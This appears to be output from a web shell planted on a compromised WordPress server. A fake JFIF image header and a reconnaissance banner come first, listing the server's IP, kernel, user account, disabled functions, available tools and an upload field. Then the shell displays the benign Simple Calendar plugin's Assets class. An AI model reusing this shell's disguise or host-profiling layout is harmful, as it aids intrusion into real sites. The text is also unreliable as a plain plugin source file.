????JFIF??x?x????'
Server IP : 104.21.64.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/tempvsty/pontiacques.org/wp-content/plugins/google-calendar-events/includes/ |
Upload File : |
<?php /** * Front End Assets * * @package SimpleCalendar; */ namespace SimpleCalendar; use SimpleCalendar\Abstracts\Calendar_View; if (!defined('ABSPATH')) { exit(); } /** * Front end scripts and styles. * * Loads scripts and styles based on the requested calendar view. * * @since 3.0.0 */ class Assets { /** * Scripts. * * @access private * @var array */ private $scripts = []; /** * Styles. * * @access private * @var array */ private $styles = []; /** * Disable styles. * * @access public * @var bool */ public $disable_styles = false; /** * Hook in tabs. * * @since 3.0.0 */ public function __construct() { $settings = get_option('simple-calendar_settings_advanced'); if (isset($settings['assets']['disable_css'])) { $this->disable_styles = 'yes' == $settings['assets']['disable_css'] ? true : false; } add_action('init', [$this, 'register'], 20); add_action('init', [$this, 'enqueue'], 40); } /** * Register scripts and styles. * * @since 3.0.0 */ public function register() { do_action('simcal_register_assets'); } /** * Enqueue scripts and styles. * * @since 3.0.0 */ public function enqueue() { add_action('wp_enqueue_scripts', [$this, 'load'], 10); do_action('simcal_enqueue_assets'); // Improves compatibility with themes and plugins using Isotope and Masonry. add_action( 'wp_enqueue_scripts', function () { if (wp_script_is('simcal-qtip', 'enqueued')) { wp_enqueue_script( 'simplecalendar-imagesloaded', SIMPLE_CALENDAR_ASSETS . 'generated/vendor/imagesloaded.pkgd.min.js', ['simcal-qtip'], SIMPLE_CALENDAR_VERSION, true ); } }, 1000 ); } /** * Load scripts and styles. * * @since 3.0.0 */ public function load() { $types = simcal_get_calendar_types(); foreach ($types as $calendar => $views) { foreach ($views as $key => $view) { $view = simcal_get_calendar_view(0, $calendar . '-' . $view); $scripts[] = $view->scripts(); $styles[] = $view->styles(); } } // Prevent duplicate localization variables for default calendar. if (isset($scripts[1]['simcal-default-calendar']['localize'])) { unset($scripts[1]['simcal-default-calendar']['localize']); } $this->get_widgets_assets(); $this->scripts = apply_filters('simcal_front_end_scripts', $scripts); // First check if there is a multi-dimensional array of scripts if (isset($this->scripts[0])) { foreach ($this->scripts as $script) { $this->load_scripts($script); } } else { $this->load_scripts($this->scripts); } $this->styles = apply_filters('simcal_front_end_styles', $styles); // First check if there is a multi-dimensional array of styles if (isset($this->styles[0])) { foreach ($this->styles as $style) { $this->load_styles($style); } } else { $this->load_styles($this->styles); } } /** * Get widgets assets. * * @since 3.0.0 */ public function get_widgets_assets() { $widgets = get_option('widget_gce_widget'); if (!empty($widgets) && is_array($widgets)) { foreach ($widgets as $settings) { if (!empty($settings) && is_array($settings)) { if (isset($settings['calendar_id'])) { $view = simcal_get_calendar_view(absint($settings['calendar_id'])); if ($view instanceof Calendar_View) { add_filter( 'simcal_front_end_scripts', function ($scripts) use ($view) { if (is_array($scripts)) { return array_merge($scripts, $view->scripts()); } else { return $view->scripts(); } }, 100, 2 ); add_filter( 'simcal_front_end_styles', function ($styles) use ($view) { if (is_array($styles)) { return array_merge($styles, $view->styles()); } else { return $view->styles(); } }, 100, 2 ); } } } } } } /** * Scripts. * * @since 3.0.0 * * @param array $scripts */ public function load_scripts($scripts) { // Only load if not disabled in the settings if (!empty($scripts) && is_array($scripts)) { foreach ($scripts as $script => $v) { /** Plugin compatibility fixes */ // Dequeue moment.js if detected from WP Simple Pay Pro. if (wp_script_is('stripe-checkout-pro-moment', 'enqueued') && $script == 'simcal-fullcal-moment') { continue; } if (!empty($v['src'])) { // Enqueued individually so we can dequeue if already enqueued by another plugin. // TODO Rework dependencies part (or remove completely). $src = esc_url($v['src']); $in_footer = isset($v['in_footer']) ? $v['in_footer'] : false; $deps = isset($v['deps']) ? $v['deps'] : []; wp_enqueue_script($script, $src, $deps, SIMPLE_CALENDAR_VERSION, $in_footer); if (!empty($v['localize']) && is_array($v['localize'])) { foreach ($v['localize'] as $object => $l10n) { wp_localize_script($script, $object, $l10n); } } } elseif (is_string($v) && !empty($v)) { wp_enqueue_script($v); } } } } /** * Styles. * * @since 3.0.0 * * @param array $styles */ public function load_styles($styles) { // Only load if not disabled in the settings if (!empty($styles) && is_array($styles) && false === $this->disable_styles) { foreach ($styles as $style => $v) { if (!empty($v['src'])) { // Enqueued individually so we can dequeue if already enqueued by another plugin. // TODO Rework dependencies part (or remove completely). $src = esc_url($v['src']); $media = isset($v['media']) ? $v['media'] : 'all'; wp_enqueue_style($style, $src, [], SIMPLE_CALENDAR_VERSION, $media); } elseif (is_string($v) && !empty($v)) { wp_enqueue_style($v); } } } } }